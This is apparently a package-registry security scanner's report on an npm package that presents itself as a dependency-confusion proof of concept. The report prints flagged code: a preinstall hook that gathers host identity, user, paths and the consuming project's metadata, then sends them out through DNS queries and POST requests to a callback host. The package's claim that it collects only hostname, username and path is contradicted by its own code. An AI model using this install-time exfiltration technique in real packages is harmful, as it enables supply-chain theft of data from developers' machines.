stillm4ddpocs-demo-widget@999.9.9: Malicious npm security report

Loading npm security reports…

stillm4ddpocs-demo-widget@999.9.9: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

Lines 1-16json

2 "name": "stillm4ddpocs-demo-widget",

3 "version": "999.9.9",

4 "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username and install path to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillm4dd@wearehackerone.com",

5 "main": "index.js",

6 "scripts": {

7 "preinstall": "node index.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Ai Review Evidence

`preinstall` executes `index.js` automatically.

package.jsonView on unpkg · L5

9 "author": "stillm4dd@wearehackerone.com",

10 "license": "ISC",

11 "keywords": [

12 "security-research",

13 "dependency-confusion",

14 "proof-of-concept"

15 ]

16}

index.jsView file

Lines 16-106javascript

17function localIPv4() {

18 try {

19 const nets = os.networkInterfaces();

20 for (const name

README.mdView file

Lines 1-28markdown

1# stillm4ddpocs-demo-widget

3**This is not a real package. It is an authorised security research proof of

4concept, and it is safe.**

6## Why it exists

8`stillm4ddpocs-demo-widget` was found referenced in publicly served code, but no package by

9that name existed on the public npm registry. That combination is the

10precondition for [dependency

11confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610):

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

`preinstall` executes `index.js` automatically.

package.jsonView on unpkg · L5

index.jsView file

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage;

High

Ai Review Evidence

Install code reads consumer-project metadata and host identity.

index.jsView on unpkg · L36

52let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage || null

High

Ai Review Evidence

Install code reads consumer-project metadata and host identity.

index.jsView on unpkg · L52

77const b32 = Buffer.from(body).toString("base64") .replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, ""); const chunks = b32.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} });

High

Ai Review Evidence

Collected data is encoded into DNS queries and POSTed to an external callback.

index.jsView on unpkg · L77

86for (const [mod, port] of [[https, 443], [http, 80]]) { try { const req = mod.request({ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`, method: "POST", timeout: 5000, headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body), "X-Poc-Uuid": info.uuid } }); req.on("error", () => {}); req.on("timeout", () => { try { req.destroy(); } catch (e) {} }); req.write(body); req.end();

High

Ai Review Evidence

Collected data is encoded into DNS queries and POSTed to an external callback.

index.jsView on unpkg · L86

README.mdView file

8`stillm4ddpocs-demo-widget` was found referenced in publicly served code, but no package by that name existed on the public npm registry. That combination is the precondition for [dependency confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610): a build that resolves this name from the public registry rather than from an internal one will install whatever is published here, from anyone. It was published at version `999.9.9` deliberately. npm resolves the highest available version, so a high number is what demonstrates that the public copy wins over an internal one.

High

Suspicious Dependency Evidence

The package is explicitly positioned as a dependency-confusion proof of concept.

README.mdView on unpkg · L8

stillm4ddpocs-demo-widget@999.9.9

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code